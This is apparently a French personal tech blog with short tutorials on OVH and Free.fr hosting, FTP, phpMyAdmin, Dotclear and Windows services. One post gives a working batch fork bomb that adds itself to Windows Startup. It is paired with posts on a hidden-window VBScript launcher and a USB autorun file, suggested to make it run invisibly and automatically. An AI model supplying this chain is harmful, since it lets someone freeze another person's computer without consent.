Flux RSS

jeudi 18 août 2011

Recevoir ses mails de domaines OVH sur sa boite Gmail (Configuration Email POP3)

Ce billet décrit la procédure à effectuer pour configurer son compte Gmail afin de recevoir vos mails de vos domaines OVH. Ceci permet de ne plus être obligé d'aller consulter ses emails de domaines sur les serveurs OVH.


  1. Tout d'abord, rendez-vous sur votre boite Gmail, dans les paramètres (petit engrenage en haut à droite), puis 'Paramètres de messagerie'.
  2. Allez sur l'onglet 'Comptes et importation', puis dans la sous rubrique 'Récupérer les messages avec le protocole POP3' cliquez sur le bouton 'Ajouter un compte de messagerie POP3'.
  3. Un popup s'ouvre où vous allez devoir saisir les informations concernant votre email de domaine OVH.
  4. Pour Adresse e-mail, saisissez votre e-mail OVH.
  5. Pour le Nom d'utilisateur, saisissez également votre e-mail OVH.
  6. Puis votre Mot de passe d'e-mail OVH.
  7. Pour le serveur POP3 il faut saisir pop3.votredomaine.votreextension (par exemple pop.tartempion.fr)
  8. Pour le port, choisissez 110
  9. Validez, et vous pourrez recevoir vos e-mails de vos domaines OVH directement sur votre boite Gmail.

Pour plus d'informations, consultez la documentation OVH : http://guides.ovh.com/ConfigurationEmail

mardi 17 mai 2011

Uploader un dump MySQL volumineux sur phpMyAdmin

Quand on veut importer une grande requête SQL dans phpMyAdmin, il peut arriver que l'on soit confronté aux limites liées à la taille du fichier uploadé (généralement de 2 Mo).


Pour contourner cette limitation, vous pouvez utiliser le dossier UploadDir de phpMyadmin. (Si un dossier "upload" existe déjà dans votre dossier phpMyAdmin, allez directement à l'étape 3)


  1. Créez un dossier upload dans votre dossier phpMyAdmin.
  2. Ouvrez le fichier de configuration de phpMyadmin config.inc.php, vers la fin de ce fichier vous devrez trouver la variable de configuration $cfg['UploadDir'], et renseignez lee chemin vers votre dossier upload :  $cfg['UploadDir'] = './upload';
  3. Placez vos fichiers SQL dans le dossier upload
  4. Quand vous allez dans l'interface de phpMyAdmin, dans Importer, vous devrez devoir apparaitre une liste déroulante avec la liste de vos fichiers SQL, et vous pourrez donc effectuer votre importation sans problème.

Si votre fichier est vraiment trop lourd, il se peut que vous soyez obligé d'augmenter la valeur de la variable de configuration max_execution_time de php dans le php.ini de votre serveur.

mercredi 29 septembre 2010

Configurer son FTP pour OVH

Pour configurer votre accès FTP à OVH, il vous faut 3 informations primordiales : le nom d'hôte, le login et le mot de passe.

  1. Le nom d'hôte (hostname) se compose comme celà : "ftp." + le nom de votre domaine + "." + l'extension de votre domaine. Par exemple :
    ftp.mondomaine.fr
    ou
    ftp.unautredomaine.com
  2. Le login s'obtient dans le Manager, dans la catégorie Hébergement , puis Mot de passe FTP .
  3. Le mot de passe s'obtient au même endroit que le login, définissez-en un nouveau si vous avez oublié le précédent.
Il ne vous reste plus qu'à entrer ces informations dans votre client FTP, en précisant le port 21 au besoin. (C'est le port destiné à FTP)

Désactiver les notifications mail de connexion chez OVH

Si vous êtes chez OVH, à chaque connexion à votre compte, vous recevez un e-mail vous informant qu'une connexion à été effectuée.

La désactivation de l'envoi de cet e-mail n'est pas évident, c'est pourquoi je rédige ce billet.

  1. Connectez-vous au Manager
  2. Cliquez sur Administaration (en bas)
  3. Cliquez sur Mes paramètres
  4. Cliquez sur Restrictions d'accès (en bas)
  5. Sous la rubrique "Accès par défaut depuis une IP non autorisée" se trouve une petite liste déroulante normalement positionnée sur "Autorisé + Mail". Il vous suffit de la positionner sur "Autorisé" puis de valider, et vous ne recevrez plus un e-mail à chaque connexion.

jeudi 18 février 2010

Créer une forkbomb en commande dos (.bat)

Une forkbomb consiste à saturer les ressources d'un système en créant rapidement un grand nombre de processus.
En gros, c'est un truc de méchant pas bien, mais c'est toujours marrant de voir qu'on peut totalement perdre le contrôle d'un PC avec trois pauvres lignes de commande.

Dans un fichier .bat :
:a
start mspaint.exe
goto a
En gros, on créé un label, on démarre paint, on retourne au label, on démarre paint, etc...

Pour l'améliorer, on peut l'exécuter elle même, ce qui aura pour effet de démultiplier de façon exponentielle le nombre d'opérations :
:a
start ForkBomb.bat
start mspaint.exe
goto a

Mais le must reste quand même de rajouter la forkbomb au Démarrage de Windows :
:a
start ForkBomb.bat
start mspaint.exe
COPY ForkBomb.bat "%SYSTEMDRIVE%%HOMEPATH%\Menu Demarrer\Programmes\Demarrage\ForkBomb.bat"
goto a

Si vous êtes assez rapide, il y a un moyen de combattre la forkbomb :
taskkill /F /IM cmd.exe
taskkill /F /IM mspaint.exe

Vous pouvez utiliser mon article sur le BatchLauncher pour créer une forkbomb invisible, et celui sur l'autorun pour lancer la fork automatiquement.

Pour plus d'informations : http://fr.wikipedia.org/wiki/Fork_bomb

Créer un fichier autorun (pour clé usb, cd, dvd, etc..)

Vous pouvez créer vous-même un fichier d'exécution automatique pour vos périphérique de stockage amovible.
Pour cela il suffit de créer à la racine un fichier autorun.inf.

Voici un exemple de fichier autorun assez poussé :[autorun]
icon = dossier\icône.jpg ;Icone de votre clé usb

open = dossier\Ouvrir.bat ;Commande principale qui sera lancer lors de l'éxecution automatique
action = Ouvrir ;Nom de la commande

; Définir la structure du menu contextuel
shell = ouvrir ;Définit l'action ouvrir par défaut
shell\ouvrir\command = dossier\Ouvrir.bat ;Fichier à executer pour la commande ouvrir
shell\ouvrir = Ouvrir ;Label de la commande ouvrir
shell\test\command = dossier\Test.bat ;Fichier à executer pour la commande test
shell\test = Test ;Label de la commande test

Vous pouvez définir ce fichier comme étant caché, ça fera toujours plus propre.

Lancer des .bat sans afficher la fenêtre de commande

Dans le cadre de mes péripéties de hacker du dimanche, j'avais besoin d'exécuter un fichier .bat (fichier de commandes msdos) sans que la fenêtre de commande s'affiche à l'écran.
Pour ce faire j'ai créé un script en VBScript (du VB orienté scripting en quelque sorte) qui me permet d'exécuter mes .bat de manière silencieuse.
Pour exécuter du VBScript, il faut que Windows Script Host soit installé sur la machine.


Voici le fameux fichier BatchLauncher.vbs :

' On créer les objets nécessaires
Set oArgs = WScript.Arguments
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("WScript.Shell")

sFilePath = oArgs(0) ' On recupere le chemin du .bat passé en paramètre
iRC = oShell.Run("""" & sFilePath & """", 0, True) ' On éxecute le .bat (protégé par des guillemets), le 0 permet de masquer la fenêtre, et True permet d'attendre la fin de l'execution du bat avant de poursuivre

Wscript.Quit iRC
(La gestion d'erreurs à été volontairement retirée pour alléger le code)


Pour utiliser ce script il suffit de taper :
wscript.exe "CheminVersVotreVBS\BatchLauncher.vbs" "CheminVersVotreBAT\test.bat"
Et votre bat s'exécutera de manière invisible grâce au script vbs.

mercredi 17 février 2010

Configurer son client FTP pour Free.fr

Voici comment accéder à son espace de stockage perso Free.fr (FTP) avec un client FTP.


Tout d'abord, le plus célèbre des clients FTP gratuit est Filezilla que vous pouvez télécharger à cette adresse : http://www.filezilla.fr
Personnellement, j'utilise FireFTP, qui est un plugins de Mozilla Firefox, je le trouve plus pratique car totalement intégré au navigateur. Vous pouvez le télécharger à cette addresse : https://addons.mozilla.org/fr/firefox/addon/684


Les paramètres globaux pour free sont les suivants :

  • Nom d'hôte (hostname) : ftpperso.free.fr
  • Utilisateur (Login) : votre identifiant Free
  • Password (Mot de passe) : votre mot de passe Free
  • Port : 21

Votre identifiant et votre mot de passe Free sont ceux que vous utilisez pour accéder à votre compte Free (ou votre boite mail Free). Il est néanmoins possible de les modifier dans l'interface d'administration de votre compte : http://subscribe.free.fr/login/

mardi 16 février 2010

Activer PHP 5 sur Free.fr

Si votre script PHP implémente des notions liées à PHP5, il ne fonctionnera pas sur votre serveur Free.fr car PHP5 n'est pas activé par défaut.

Pour ce faire, créez un fichier

.htaccess

à la racine de votre serveur, contenant la ligne suivante :
php 1
Et voilà, ça devrait fonctionner!

Activer les sessions PHP sur Free.fr

Si vous êtes hébergé par Free et que la commande php

session_start();

vous renvoie des choses du genre :
Warning: session_start(): open(/var/www/free.fr/a/b/c/sessions/sess_0123456789abcdef-0123456789abcedf, O_RDWR) failed: No such file or directory C'est absolument normal!

En effet, Free, par défaut, n'active pas  la gestion des sessions sur votre espace. Pour l'activer il suffit de créer un répertoire

sessions

à la racine de votre serveur et tout devrait fonctionner!

Installer Dotclear 2 chez free.fr

Ce tutoriel vous expliquera comment installer facilement Dotclear 2.1.6 sur un espace de stockage Free.fr.


Il faut tout d'abord que votre compte soit activé et que vous ayez demandé l'activation d'une base de données PostgreSQL, en effet, Dotclear2 ne fonctionnera pas chez Free avec une base MySQL. Vous pouvez vous rendre à l'adresse suivante et vous connecter avec vos identifiants associés à votre compte Free afin de vérifier que tout fonctionne : http://sql.free.fr/phpPgAdmin/

Il faut ensuite activer PHP5 sur votre serveur (il ne l'est pas par défaut), pour cela, créez un fichier

.htaccess

à la racine de votre serveur, contenant la ligne suivante :
php 1

Téléchargez maintenant l'archive de Dotclear 2.1.6 sur http://fr.dotclear.org/download, décompressez là et uploadez son contenu sur votre FTP Free dans le dossier de votre choix (par exemple "Blog").

Une fois l'upload terminé, accédez à l'interface d'installation par l'URL suivante : 

http://utilisateur.free.fr/Blog/admin/install

Remplacez "utilisateur" par le nom de votre compte free.fr et remplacez "Blog" par le chemin du dossier dans lequel vous avez uploadé Dotclear.

Vous atterrissez sur une page qui vous informe qu'il n'y a pas de fichier de configuration, cliquez sur le lien wizard.

  • Renseignez le type de base de données : PostGreSQL
  • Laissez le nom d'hôte vide
  • Laissez le nom de la base de données vide
  • Le nom d'utilisateur est votre identifiant free
  • Le mot de passe est votre mot de passe free
  • Laissez préfixe des tables tel quel.
Validez, suivez les instructions, et complétez (ce n'est pas très compliqué)

Voilà, votre blog est installé et prêt à être administré!


Plus d'infos sur :
http://fr.dotclear.org/documentation/2.0/admin/install
http://fr.dotclear.org/documentation/2.0/hosting/free.fr

Gérer les services Windows avec sc.exe

Un service Windows est un programme qui s'éxecute continuellement en arrière-plan, sans nécessiter l'intervention de l'utilisateur. Il n'est pas visible dans la liste des processus.

Windows intègre un moyen de gérer ces services, c'est l'outil sc.exe. Il permet entre autres, d'ajouter, de supprimer, de démarrer et de stopper des services.
(pour la liste complète des commandes disponibles : sc help
Pour créer un service :
sc create NomDuService binpath= "C:\MonService.exe" (l'espace entre le = et le " est obligatoire!)

Pour démarrer un service :
sc start NomDuService
Pour stopper un service :
sc stop NomDuService
Pour supprimer un service :
sc delete NomDuService
(Parfois la suppression ne s'effectue pas immédiatement, il faudra redémarrer l'ordinateur pour que la supression soit effective)

Si votre service affiche une des erreurs suivante :
[SC] StartService FAILED 193:

Impossible de démarrer le service {nom du service} sur Ordinateur local. Erreur 193 : 0xc1

C'est que son ImagePath est mal surement renseigné. Pour corriger ce problème, il faut ourir l'Editeur de Registre (regedit.exe) et changer la clé suivante:

HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Services > NomDuService > ImagePath

Il suffit d'entourer le chemin de guillemets ("") et désormais le service devrait démarrer.